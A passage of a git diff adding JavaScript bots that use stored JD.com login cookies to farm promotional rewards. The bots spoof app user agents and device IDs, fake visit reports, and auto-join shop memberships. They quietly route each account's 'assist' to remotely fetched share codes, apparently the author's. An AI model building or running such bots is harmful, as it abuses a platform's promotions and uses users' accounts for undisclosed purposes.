'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_huiju2.js b/backUp/jd_lzdz1_huiju2.js new file mode 100644 index 0000000..9b3a1cf --- /dev/null +++ b/backUp/jd_lzdz1_huiju2.js @@ -0,0 +1,585 @@ +/* +惠聚京东 好物连连 + +https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211020&shareUuid=91245cc15b1847b1961c10c5412f2420 +*/ +const $ = new Env("惠聚京东 好物连连"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_huanju2.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'e4bf94e2bfb64e68aec75908af30a950', + ] + } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'llk20211020' + $.activityShopId = '1000001373' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` + await member(); + await $.wait(5000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + $.log("关注店铺") + await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + $.log("加入店铺会员") + if ($.openCardList) { + for (let i = 0; i < ($.openCardList.length); i++) { + $.log(">>> 模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000001373&pageId=llk20211020&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + + for (const vo of $.openCardList) { + $.log(`>>> 去加入${vo.name} ${vo.venderId}`) + if (vo.status === 0) { + await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) + await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) + await $.wait(2000) + } else { + $.log(`>>> 已经是会员`) + } + + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.openCardStatus) { + console.log('去助力 -> ' + $.authorCode) + if ($.openCardStatus.allOpenCard) { + await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + + } + } + await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.TaskList) { + tasklist = $.TaskList + if (!$.TaskList.sign) { + await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("已完成签到") + } + if (!$.TaskList.visitSku) { + for (const vo of tasklist.visitSkuList) { + if (vo.status === 0) { + await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) + } + } + } else { + console.log("已完成浏览任务"); + } + if (!$.TaskList.addCart) { + await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("加购任务已完成") + } + } + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + break; + case 'linkgame/activity/content': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activity['name']}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actor['actorUuid'] + console.log(ownCode) + } + $.actorUuid = data.data.actor['actorUuid']; + } else { + $.log("活动已经结束"); + } + break; + case 'linkgame/checkOpenCard': + $.openCardList = data.data.openCardList; + $.openCardStatus = data.data; + // console.log(data) + break; + case 'linkgame/follow/shop': + console.log(data) + break; + case 'linkgame/sign': + console.log(data) + break; + case 'linkgame/addCart': + console.log(data) + break; + case 'linkgame/browseGoods': + console.log(data) + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'linkgame/task/info': + console.log(data) + break; + case 'linkgame/assist/status': + console.log(data) + break; + case 'linkgame/assist': + console.log(data) + break; + case 'linkgame/help/list': + console.log(data) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { 